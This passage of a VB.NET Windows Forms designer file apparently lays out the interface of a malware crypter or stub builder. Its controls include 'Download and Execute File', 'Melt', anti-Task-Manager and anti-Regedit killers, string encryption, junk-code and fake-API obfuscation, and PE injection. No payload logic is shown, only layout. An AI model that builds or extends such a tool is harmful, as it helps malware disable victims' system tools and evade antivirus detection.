' + Me.CheckBox58.AutoSize = True + Me.CheckBox58.BackColor = System.Drawing.Color.Transparent + Me.CheckBox58.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox58.Location = New System.Drawing.Point(23, 131) + Me.CheckBox58.Name = "CheckBox58" + Me.CheckBox58.Size = New System.Drawing.Size(156, 17) + Me.CheckBox58.TabIndex = 16 + Me.CheckBox58.Text = "Download and Execute File" + Me.CheckBox58.UseVisualStyleBackColor = False + ' + 'CheckBox56 + ' + Me.CheckBox56.AutoSize = True + Me.CheckBox56.BackColor = System.Drawing.Color.Transparent + Me.CheckBox56.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox56.Location = New System.Drawing.Point(141, 59) + Me.CheckBox56.Name = "CheckBox56" + Me.CheckBox56.Size = New System.Drawing.Size(46, 17) + Me.CheckBox56.TabIndex = 13 + Me.CheckBox56.Text = "Melt" + Me.CheckBox56.UseVisualStyleBackColor = False + ' + 'CheckBox55 + ' + Me.CheckBox55.AutoSize = True + Me.CheckBox55.BackColor = System.Drawing.Color.Transparent + Me.CheckBox55.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox55.Location = New System.Drawing.Point(141, 36) + Me.CheckBox55.Name = "CheckBox55" + Me.CheckBox55.Size = New System.Drawing.Size(121, 17) + Me.CheckBox55.TabIndex = 12 + Me.CheckBox55.Text = "Disable Folder Opts." + Me.CheckBox55.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + Me.CheckBox55.UseVisualStyleBackColor = False + ' + 'CheckBox54 + ' + Me.CheckBox54.AutoSize = True + Me.CheckBox54.BackColor = System.Drawing.Color.Transparent + Me.CheckBox54.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox54.Location = New System.Drawing.Point(141, 13) + Me.CheckBox54.Name = "CheckBox54" + Me.CheckBox54.Size = New System.Drawing.Size(80, 17) + Me.CheckBox54.TabIndex = 11 + Me.CheckBox54.Text = "Anti Dxdiag" + Me.CheckBox54.UseVisualStyleBackColor = False + ' + 'CheckBox53 + ' + Me.CheckBox53.AutoSize = True + Me.CheckBox53.BackColor = System.Drawing.Color.Transparent + Me.CheckBox53.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox53.Location = New System.Drawing.Point(23, 82) + Me.CheckBox53.Name = "CheckBox53" + Me.CheckBox53.Size = New System.Drawing.Size(88, 17) + Me.CheckBox53.TabIndex = 10 + Me.CheckBox53.Text = "Anti Notepad" + Me.CheckBox53.UseVisualStyleBackColor = False + ' + 'CheckBox52 + ' + Me.CheckBox52.AutoSize = True + Me.CheckBox52.BackColor = System.Drawing.Color.Transparent + Me.CheckBox52.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox52.Location = New System.Drawing.Point(23, 59) + Me.CheckBox52.Name = "CheckBox52" + Me.CheckBox52.Size = New System.Drawing.Size(90, 17) + Me.CheckBox52.TabIndex = 9 + Me.CheckBox52.Text = "Anti Msconfig" + Me.CheckBox52.UseVisualStyleBackColor = False + ' + 'CheckBox51 + ' + Me.CheckBox51.AutoSize = True + Me.CheckBox51.BackColor = System.Drawing.Color.Transparent + Me.CheckBox51.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox51.Location = New System.Drawing.Point(23, 36) + Me.CheckBox51.Name = "CheckBox51" + Me.CheckBox51.Size = New System.Drawing.Size(84, 17) + Me.CheckBox51.TabIndex = 8 + Me.CheckBox51.Text = "Anti Regedit" + Me.CheckBox51.UseVisualStyleBackColor = False + ' + 'CheckBox50 + ' + Me.CheckBox50.AutoSize = True + Me.CheckBox50.BackColor = System.Drawing.Color.Transparent + Me.CheckBox50.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox50.Location = New System.Drawing.Point(23, 13) + Me.CheckBox50.Name = "CheckBox50" + Me.CheckBox50.Size = New System.Drawing.Size(112, 17) + Me.CheckBox50.TabIndex = 7 + Me.CheckBox50.Text = "Anti Taskmanager" + Me.CheckBox50.UseVisualStyleBackColor = False + ' + 'TabPage7 + ' + Me.TabPage7.BackColor = System.Drawing.Color.Black + Me.TabPage7.Controls.Add(Me.Label16) + Me.TabPage7.Controls.Add(Me.Label27) + Me.TabPage7.Controls.Add(Me.GroupBox4) + Me.TabPage7.Controls.Add(Me.Label28) + Me.TabPage7.Controls.Add(Me.Label29) + Me.TabPage7.Controls.Add(Me.NumericUpDown12) + Me.TabPage7.Controls.Add(Me.Label30) + Me.TabPage7.Controls.Add(Me.NumericUpDown11) + Me.TabPage7.Controls.Add(Me.Label31) + Me.TabPage7.Controls.Add(Me.NumericUpDown10) + Me.TabPage7.Controls.Add(Me.Label32) + Me.TabPage7.Controls.Add(Me.NumericUpDown9) + Me.TabPage7.Controls.Add(Me.Label21) + Me.TabPage7.Controls.Add(Me.NumericUpDown8) + Me.TabPage7.Controls.Add(Me.Label22) + Me.TabPage7.Controls.Add(Me.CheckBox64) + Me.TabPage7.Controls.Add(Me.Label23) + Me.TabPage7.Controls.Add(Me.CheckBox63) + Me.TabPage7.Controls.Add(Me.Label24) + Me.TabPage7.Controls.Add(Me.CheckBox62) + Me.TabPage7.Controls.Add(Me.Label25) + Me.TabPage7.Controls.Add(Me.CheckBox57) + Me.TabPage7.Controls.Add(Me.Label26) + Me.TabPage7.Controls.Add(Me.CheckBox30) + Me.TabPage7.Controls.Add(Me.Label14) + Me.TabPage7.Controls.Add(Me.Label82) + Me.TabPage7.Controls.Add(Me.Label15) + Me.TabPage7.Controls.Add(Me.Label1) + Me.TabPage7.Controls.Add(Me.Label17) + Me.TabPage7.Controls.Add(Me.Label10) + Me.TabPage7.Controls.Add(Me.Label18) + Me.TabPage7.Controls.Add(Me.Label13) + Me.TabPage7.Controls.Add(Me.Label19) + Me.TabPage7.Controls.Add(Me.Label12) + Me.TabPage7.Controls.Add(Me.Label20) + Me.TabPage7.Controls.Add(Me.Label11) + Me.TabPage7.Controls.Add(Me.MButton9) + Me.TabPage7.Location = New System.Drawing.Point(4, 40) + Me.TabPage7.Name = "TabPage7" + Me.TabPage7.Size = New System.Drawing.Size(276, 231) + Me.TabPage7.TabIndex = 6 + Me.TabPage7.Text = "Stub Generator" + ' + 'Label16 + ' + Me.Label16.Font = New System.Drawing.Font("Calibri", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label16.ForeColor = System.Drawing.Color.Yellow + Me.Label16.Location = New System.Drawing.Point(212, 10) + Me.Label16.Name = "Label16" + Me.Label16.Size = New System.Drawing.Size(58, 182) + Me.Label16.TabIndex = 99 + Me.Label16.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'Label27 + ' + Me.Label27.AutoSize = True + Me.Label27.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label27.ForeColor = System.Drawing.Color.Yellow + Me.Label27.Location = New System.Drawing.Point(248, 166) + Me.Label27.Name = "Label27" + Me.Label27.Size = New System.Drawing.Size(12, 15) + Me.Label27.TabIndex = 97 + Me.Label27.Text = "0" + ' + 'GroupBox4 + ' + Me.GroupBox4.BackColor = System.Drawing.Color.Transparent + Me.GroupBox4.Controls.Add(Me.RadioButton25) + Me.GroupBox4.Controls.Add(Me.RadioButton20) + Me.GroupBox4.Controls.Add(Me.RadioButton19) + Me.GroupBox4.Controls.Add(Me.RadioButton18) + Me.GroupBox4.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox4.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox4.Location = New System.Drawing.Point(8, 139) + Me.GroupBox4.Name = "GroupBox4" + Me.GroupBox4.Size = New System.Drawing.Size(198, 79) + Me.GroupBox4.TabIndex = 48 + Me.GroupBox4.TabStop = False + Me.GroupBox4.Text = "String Encryption" + ' + 'RadioButton25 + ' + Me.RadioButton25.AutoSize = True + Me.RadioButton25.BackColor = System.Drawing.Color.Transparent + Me.RadioButton25.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton25.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton25.Location = New System.Drawing.Point(112, 50) + Me.RadioButton25.Name = "RadioButton25" + Me.RadioButton25.Size = New System.Drawing.Size(64, 17) + Me.RadioButton25.TabIndex = 11 + Me.RadioButton25.TabStop = True + Me.RadioButton25.Text = "PolyVorf" + Me.RadioButton25.UseVisualStyleBackColor = False + ' + 'RadioButton20 + ' + Me.RadioButton20.AutoSize = True + Me.RadioButton20.BackColor = System.Drawing.Color.Transparent + Me.RadioButton20.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton20.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton20.Location = New System.Drawing.Point(112, 27) + Me.RadioButton20.Name = "RadioButton20" + Me.RadioButton20.Size = New System.Drawing.Size(64, 17) + Me.RadioButton20.TabIndex = 10 + Me.RadioButton20.TabStop = True + Me.RadioButton20.Text = "Rijndael" + Me.RadioButton20.UseVisualStyleBackColor = False + ' + 'RadioButton19 + ' + Me.RadioButton19.AutoSize = True + Me.RadioButton19.BackColor = System.Drawing.Color.Transparent + Me.RadioButton19.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton19.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton19.Location = New System.Drawing.Point(23, 50) + Me.RadioButton19.Name = "RadioButton19" + Me.RadioButton19.Size = New System.Drawing.Size(68, 17) + Me.RadioButton19.TabIndex = 9 + Me.RadioButton19.Text = "TripleDES" + Me.RadioButton19.UseVisualStyleBackColor = False + ' + 'RadioButton18 + ' + Me.RadioButton18.AutoSize = True + Me.RadioButton18.BackColor = System.Drawing.Color.Transparent + Me.RadioButton18.Checked = True + Me.RadioButton18.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton18.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton18.Location = New System.Drawing.Point(23, 27) + Me.RadioButton18.Name = "RadioButton18" + Me.RadioButton18.Size = New System.Drawing.Size(44, 17) + Me.RadioButton18.TabIndex = 8 + Me.RadioButton18.TabStop = True + Me.RadioButton18.Text = "XOR" + Me.RadioButton18.UseVisualStyleBackColor = False + ' + 'Label28 + ' + Me.Label28.AutoSize = True + Me.Label28.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label28.ForeColor = System.Drawing.Color.Yellow + Me.Label28.Location = New System.Drawing.Point(230, 166) + Me.Label28.Name = "Label28" + Me.Label28.Size = New System.Drawing.Size(12, 15) + Me.Label28.TabIndex = 96 + Me.Label28.Text = "0" + ' + 'Label29 + ' + Me.Label29.AutoSize = True + Me.Label29.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label29.ForeColor = System.Drawing.Color.Yellow + Me.Label29.Location = New System.Drawing.Point(212, 166) + Me.Label29.Name = "Label29" + Me.Label29.Size = New System.Drawing.Size(12, 15) + Me.Label29.TabIndex = 95 + Me.Label29.Text = "0" + ' + 'NumericUpDown12 + ' + Me.NumericUpDown12.Location = New System.Drawing.Point(150, 114) + Me.NumericUpDown12.Name = "NumericUpDown12" + Me.NumericUpDown12.Size = New System.Drawing.Size(54, 20) + Me.NumericUpDown12.TabIndex = 46 + Me.NumericUpDown12.Value = New Decimal(New Integer() {2, 0, 0, 0}) + ' + 'Label30 + ' + Me.Label30.AutoSize = True + Me.Label30.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label30.ForeColor = System.Drawing.Color.Yellow + Me.Label30.Location = New System.Drawing.Point(248, 145) + Me.Label30.Name = "Label30" + Me.Label30.Size = New System.Drawing.Size(12, 15) + Me.Label30.TabIndex = 94 + Me.Label30.Text = "0" + ' + 'NumericUpDown11 + ' + Me.NumericUpDown11.Location = New System.Drawing.Point(150, 88) + Me.NumericUpDown11.Name = "NumericUpDown11" + Me.NumericUpDown11.Size = New System.Drawing.Size(54, 20) + Me.NumericUpDown11.TabIndex = 45 + Me.NumericUpDown11.Value = New Decimal(New Integer() {20, 0, 0, 0}) + ' + 'Label31 + ' + Me.Label31.AutoSize = True + Me.Label31.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label31.ForeColor = System.Drawing.Color.Yellow + Me.Label31.Location = New System.Drawing.Point(230, 145) + Me.Label31.Name = "Label31" + Me.Label31.Size = New System.Drawing.Size(12, 15) + Me.Label31.TabIndex = 93 + Me.Label31.Text = "0" + ' + 'NumericUpDown10 + ' + Me.NumericUpDown10.Location = New System.Drawing.Point(150, 62) + Me.NumericUpDown10.Name = "NumericUpDown10" + Me.NumericUpDown10.Size = New System.Drawing.Size(54, 20) + Me.NumericUpDown10.TabIndex = 44 + Me.NumericUpDown10.Value = New Decimal(New Integer() {20, 0, 0, 0}) + ' + 'Label32 + ' + Me.Label32.AutoSize = True + Me.Label32.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label32.ForeColor = System.Drawing.Color.Yellow + Me.Label32.Location = New System.Drawing.Point(212, 145) + Me.Label32.Name = "Label32" + Me.Label32.Size = New System.Drawing.Size(12, 15) + Me.Label32.TabIndex = 92 + Me.Label32.Text = "0" + ' + 'NumericUpDown9 + ' + Me.NumericUpDown9.Location = New System.Drawing.Point(150, 36) + Me.NumericUpDown9.Maximum = New Decimal(New Integer() {11, 0, 0, 0}) + Me.NumericUpDown9.Minimum = New Decimal(New Integer() {1, 0, 0, 0}) + Me.NumericUpDown9.Name = "NumericUpDown9" + Me.NumericUpDown9.Size = New System.Drawing.Size(54, 20) + Me.NumericUpDown9.TabIndex = 43 + Me.NumericUpDown9.Value = New Decimal(New Integer() {10, 0, 0, 0}) + ' + 'Label21 + ' + Me.Label21.AutoSize = True + Me.Label21.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label21.ForeColor = System.Drawing.Color.Yellow + Me.Label21.Location = New System.Drawing.Point(248, 123) + Me.Label21.Name = "Label21" + Me.Label21.Size = New System.Drawing.Size(12, 15) + Me.Label21.TabIndex = 91 + Me.Label21.Text = "0" + ' + 'NumericUpDown8 + ' + Me.NumericUpDown8.Location = New System.Drawing.Point(150, 10) + Me.NumericUpDown8.Minimum = New Decimal(New Integer() {5, 0, 0, 0}) + Me.NumericUpDown8.Name = "NumericUpDown8" + Me.NumericUpDown8.Size = New System.Drawing.Size(54, 20) + Me.NumericUpDown8.TabIndex = 42 + Me.NumericUpDown8.Value = New Decimal(New Integer() {5, 0, 0, 0}) + ' + 'Label22 + ' + Me.Label22.AutoSize = True + Me.Label22.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label22.ForeColor = System.Drawing.Color.Yellow + Me.Label22.Location = New System.Drawing.Point(230, 123) + Me.Label22.Name = "Label22" + Me.Label22.Size = New System.Drawing.Size(12, 15) + Me.Label22.TabIndex = 90 + Me.Label22.Text = "0" + ' + 'CheckBox64 + ' + Me.CheckBox64.AutoSize = True + Me.CheckBox64.BackColor = System.Drawing.Color.Transparent + Me.CheckBox64.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox64.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox64.Location = New System.Drawing.Point(20, 116) + Me.CheckBox64.Name = "CheckBox64" + Me.CheckBox64.Size = New System.Drawing.Size(98, 17) + Me.CheckBox64.TabIndex = 41 + Me.CheckBox64.Text = "Add Junk Codes" + Me.CheckBox64.UseVisualStyleBackColor = False + ' + 'Label23 + ' + Me.Label23.AutoSize = True + Me.Label23.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label23.ForeColor = System.Drawing.Color.Yellow + Me.Label23.Location = New System.Drawing.Point(212, 123) + Me.Label23.Name = "Label23" + Me.Label23.Size = New System.Drawing.Size(12, 15) + Me.Label23.TabIndex = 89 + Me.Label23.Text = "0" + ' + 'CheckBox63 + ' + Me.CheckBox63.AutoSize = True + Me.CheckBox63.BackColor = System.Drawing.Color.Transparent + Me.CheckBox63.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox63.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox63.Location = New System.Drawing.Point(20, 90) + Me.CheckBox63.Name = "CheckBox63" + Me.CheckBox63.Size = New System.Drawing.Size(92, 17) + Me.CheckBox63.TabIndex = 40 + Me.CheckBox63.Text = "Add Fake Subs" + Me.CheckBox63.UseVisualStyleBackColor = False + ' + 'Label24 + ' + Me.Label24.AutoSize = True + Me.Label24.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label24.ForeColor = System.Drawing.Color.Yellow + Me.Label24.Location = New System.Drawing.Point(248, 102) + Me.Label24.Name = "Label24" + Me.Label24.Size = New System.Drawing.Size(12, 15) + Me.Label24.TabIndex = 88 + Me.Label24.Text = "0" + ' + 'CheckBox62 + ' + Me.CheckBox62.AutoSize = True + Me.CheckBox62.BackColor = System.Drawing.Color.Transparent + Me.CheckBox62.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox62.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox62.Location = New System.Drawing.Point(20, 64) + Me.CheckBox62.Name = "CheckBox62" + Me.CheckBox62.Size = New System.Drawing.Size(115, 17) + Me.CheckBox62.TabIndex = 39 + Me.CheckBox62.Text = "Add Fake Functions" + Me.CheckBox62.UseVisualStyleBackColor = False + ' + 'Label25 + ' + Me.Label25.AutoSize = True + Me.Label25.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label25.ForeColor = System.Drawing.Color.Yellow + Me.Label25.Location = New System.Drawing.Point(230, 102) + Me.Label25.Name = "Label25" + Me.Label25.Size = New System.Drawing.Size(12, 15) + Me.Label25.TabIndex = 87 + Me.Label25.Text = "0" + ' + 'CheckBox57 + ' + Me.CheckBox57.AutoSize = True + Me.CheckBox57.BackColor = System.Drawing.Color.Transparent + Me.CheckBox57.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox57.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox57.Location = New System.Drawing.Point(20, 38) + Me.CheckBox57.Name = "CheckBox57" + Me.CheckBox57.Size = New System.Drawing.Size(90, 17) + Me.CheckBox57.TabIndex = 38 + Me.CheckBox57.Text = "Add Fake APIs" + Me.CheckBox57.UseVisualStyleBackColor = False + ' + 'Label26 + ' + Me.Label26.AutoSize = True + Me.Label26.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label26.ForeColor = System.Drawing.Color.Yellow + Me.Label26.Location = New System.Drawing.Point(212, 102) + Me.Label26.Name = "Label26" + Me.Label26.Size = New System.Drawing.Size(12, 15) + Me.Label26.TabIndex = 86 + Me.Label26.Text = "0" + ' + 'CheckBox30 + ' + Me.CheckBox30.AutoSize = True + Me.CheckBox30.BackColor = System.Drawing.Color.Transparent + Me.CheckBox30.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox30.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox30.Location = New System.Drawing.Point(20, 12) + Me.CheckBox30.Name = "CheckBox30" + Me.CheckBox30.Size = New System.Drawing.Size(124, 17) + Me.CheckBox30.TabIndex = 37 + Me.CheckBox30.Text = "Randomize Variables" + Me.CheckBox30.UseVisualStyleBackColor = False + ' + 'Label14 + ' + Me.Label14.AutoSize = True + Me.Label14.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label14.ForeColor = System.Drawing.Color.Yellow + Me.Label14.Location = New System.Drawing.Point(248, 78) + Me.Label14.Name = "Label14" + Me.Label14.Size = New System.Drawing.Size(12, 15) + Me.Label14.TabIndex = 85 + Me.Label14.Text = "0" + ' + 'Label82 + ' + Me.Label82.AutoSize = True + Me.Label82.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label82.ForeColor = System.Drawing.Color.Yellow + Me.Label82.Location = New System.Drawing.Point(212, 10) + Me.Label82.Name = "Label82" + Me.Label82.Size = New System.Drawing.Size(12, 15) + Me.Label82.TabIndex = 74 + Me.Label82.Text = "0" + ' + 'Label15 + ' + Me.Label15.AutoSize = True + Me.Label15.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label15.ForeColor = System.Drawing.Color.Yellow + Me.Label15.Location = New System.Drawing.Point(230, 78) + Me.Label15.Name = "Label15" + Me.Label15.Size = New System.Drawing.Size(12, 15) + Me.Label15.TabIndex = 84 + Me.Label15.Text = "0" + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.ForeColor = System.Drawing.Color.Yellow + Me.Label1.Location = New System.Drawing.Point(230, 10) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(12, 15) + Me.Label1.TabIndex = 75 + Me.Label1.Text = "0" + ' + 'Label17 + ' + Me.Label17.AutoSize = True + Me.Label17.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label17.ForeColor = System.Drawing.Color.Yellow + Me.Label17.Location = New System.Drawing.Point(212, 78) + Me.Label17.Name = "Label17" + Me.Label17.Size = New System.Drawing.Size(12, 15) + Me.Label17.TabIndex = 83 + Me.Label17.Text = "0" + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label10.ForeColor = System.Drawing.Color.Yellow + Me.Label10.Location = New System.Drawing.Point(248, 10) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(12, 15) + Me.Label10.TabIndex = 76 + Me.Label10.Text = "0" + ' + 'Label18 + ' + Me.Label18.AutoSize = True + Me.Label18.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label18.ForeColor = System.Drawing.Color.Yellow + Me.Label18.Location = New System.Drawing.Point(248, 57) + Me.Label18.Name = "Label18" + Me.Label18.Size = New System.Drawing.Size(12, 15) + Me.Label18.TabIndex = 82 + Me.Label18.Text = "0" + ' + 'Label13 + ' + Me.Label13.AutoSize = True + Me.Label13.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label13.ForeColor = System.Drawing.Color.Yellow + Me.Label13.Location = New System.Drawing.Point(212, 31) + Me.Label13.Name = "Label13" + Me.Label13.Size = New System.Drawing.Size(12, 15) + Me.Label13.TabIndex = 77 + Me.Label13.Text = "0" + ' + 'Label19 + ' + Me.Label19.AutoSize = True + Me.Label19.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label19.ForeColor = System.Drawing.Color.Yellow + Me.Label19.Location = New System.Drawing.Point(230, 57) + Me.Label19.Name = "Label19" + Me.Label19.Size = New System.Drawing.Size(12, 15) + Me.Label19.TabIndex = 81 + Me.Label19.Text = "0" + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label12.ForeColor = System.Drawing.Color.Yellow + Me.Label12.Location = New System.Drawing.Point(230, 31) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(12, 15) + Me.Label12.TabIndex = 78 + Me.Label12.Text = "0" + ' + 'Label20 + ' + Me.Label20.AutoSize = True + Me.Label20.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label20.ForeColor = System.Drawing.Color.Yellow + Me.Label20.Location = New System.Drawing.Point(212, 57) + Me.Label20.Name = "Label20" + Me.Label20.Size = New System.Drawing.Size(12, 15) + Me.Label20.TabIndex = 80 + Me.Label20.Text = "0" + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label11.ForeColor = System.Drawing.Color.Yellow + Me.Label11.Location = New System.Drawing.Point(248, 31) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(12, 15) + Me.Label11.TabIndex = 79 + Me.Label11.Text = "0" + ' + 'MButton9 + ' + Me.MButton9.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton9.ForeColor = System.Drawing.Color.Yellow + Me.MButton9.Location = New System.Drawing.Point(212, 197) + Me.MButton9.Name = "MButton9" + Me.MButton9.Size = New System.Drawing.Size(60, 21) + Me.MButton9.TabIndex = 98 + Me.MButton9.Text = "Generate" + ' + 'TextBox3 + ' + Me.TextBox3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox3.Location = New System.Drawing.Point(20, 404) + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.ReadOnly = True + Me.TextBox3.Size = New System.Drawing.Size(214, 21) + Me.TextBox3.TabIndex = 91 + Me.TextBox3.Text = "Browse PE to Inject with..." + ' + 'ImageList1 + ' + Me.ImageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth8Bit + Me.ImageList1.ImageSize = New System.Drawing.Size(16, 16) + Me.ImageList1.TransparentColor = System.Drawing.Color.Transparent + ' + 'PictureBox1 + ' + Me.PictureBox1.BackColor = System.Drawing.Color.Transparent + Me.PictureBox1.BackgroundImage = CType(resources.GetObject("PictureBox1.BackgroundImage"), System.Drawing.Image) + Me.PictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.PictureBox1.Location = New System.Drawing.Point(1, 1) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(285, 70) + Me.PictureBox1.TabIndex = 80 + Me.PictureBox1.TabStop = False + ' + 'CheckBox71 + ' + Me.CheckBox71.AutoSize = True + Me.CheckBox71.BackColor = System.Drawing.Color.Transparent + Me.CheckBox71.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox71.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox71.Location = New System.Drawing.Point(25, 431) + Me.CheckBox71.Name = "CheckBox71" + Me.CheckBox71.Size = New System.Drawing.Size(135, 17) + Me.CheckBox71.TabIndex = 83 + Me.CheckBox71.Text = "Enable Antis and Killers" + Me.CheckBox71.UseVisualStyleBackColor = False + ' + 'ProgressBar1 + ' + Me.ProgressBar1.Location = New System.Drawing.Point(20, 362) + Me.ProgressBar1.Name = "ProgressBar1" + Me.ProgressBar1.Size = New System.Drawing.Size(266, 10) + Me.ProgressBar1.TabIndex = 82 + ' + 'CheckBox72 + ' + Me.CheckBox72.AutoSize = True + Me.CheckBox72.BackColor = System.Drawing.Color.Transparent + Me.CheckBox72.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox72.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox72.Location = New System.Drawing.Point(25, 454) + Me.CheckBox72.Name = "CheckBox72" + Me.CheckBox72.Size = 